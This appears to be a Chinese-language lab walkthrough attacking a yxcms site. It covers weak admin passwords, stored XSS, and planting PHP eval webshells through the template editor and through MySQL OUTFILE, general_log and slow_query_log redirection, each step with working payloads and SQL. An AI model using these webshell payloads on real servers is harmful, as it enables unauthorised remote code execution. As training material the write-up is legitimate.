1、漏洞搜索与利用
漏洞1:后台弱口令
漏洞2:
在yxcms有个留言功能,常常存在存储型xss漏洞
先用<h1>123xss</h1>测试一下会不会解析
登录管理员账号审核留言,发现xss脚本解析了
写入xss弹窗
再次返回管理员审核页面,弹窗成功,存储型xss漏洞一枚
漏洞3:
前台模板可以新增php文件,我们可以尝试写入一句话木马
验证shell文件,可正常执行
使用蚁剑连接
漏洞4:
前面我们已经得到phpmyadmin的弱口令为root/root,且通过phpstudy探针页面知道了网站根目录为C:/phpStudy/WWW, 我们通过MySQL写入shell
1.通过outfile
写入shell,新建sql语句
select '<?php @eval($_POST[pass])?>'into outfile 'C:/phpStudy/WWW/shell1.php';
但是报错了
执行以下sql语句
SHOW VARIABLES LIKE '%secure%'
发现没有写入的权限,无法使用select into outfile 方式直接写入shell
2、通过全局日志写入shell
先查看全局日志是否开启
SHOW VARIABLES LIKE '%general%'
发现全局日志general_log是off关闭的
开启全局日志,并修改日志路径为我们写入shell的路径
set set global general_log = ON
set set global general_log_file = 'C://phpStudy/WWW/yxcms/shell1.php';
接下来写入shell即可
select '<?php @eval($_POST[pass]); ?>';
可以看到shell1.php文件已经存在且一句话也已经被写入日志
蚁剑连接成功
3、使用慢查询日志getsehll
在实际写webshell的时候,我们经常会遭受到secure_file_priv的阻拦,secure_file_priv这个配置参数用来限制load data、outfile、load_file()的使用,其参数值有以下三种:
1、NULL:表示不允许导入导出
2、目录地址,如/tmp/:表示只能对指定目录进行导入导出,如/tmp/
3、空,即没有具体值:表示不对导入导出做限制
在高版本的mysql(mysql>5.6.34)中默认为NULL,就是不让导入和导出
使用慢查询日志绕过此限制
先查看慢查询日志开启情况
show variables like '%slow_query_log%';
开启慢日志,设置日志路径为shell路径
set global slow_query_log = ON;
set global slow_query_log_file = 'C://phpStudy/WWW/shell2.php';
使用慢查询日志时,只有当查询时间超过系统时间(默认为10秒)时才会记录在日志中,使用如下语句可查看系统时间:
show global variables like '%long_query_time%';
select '<?php @eval($_POST[pass]);?>' or sleep(11);设置查询时间为11s
接下来用蚁剑连接即可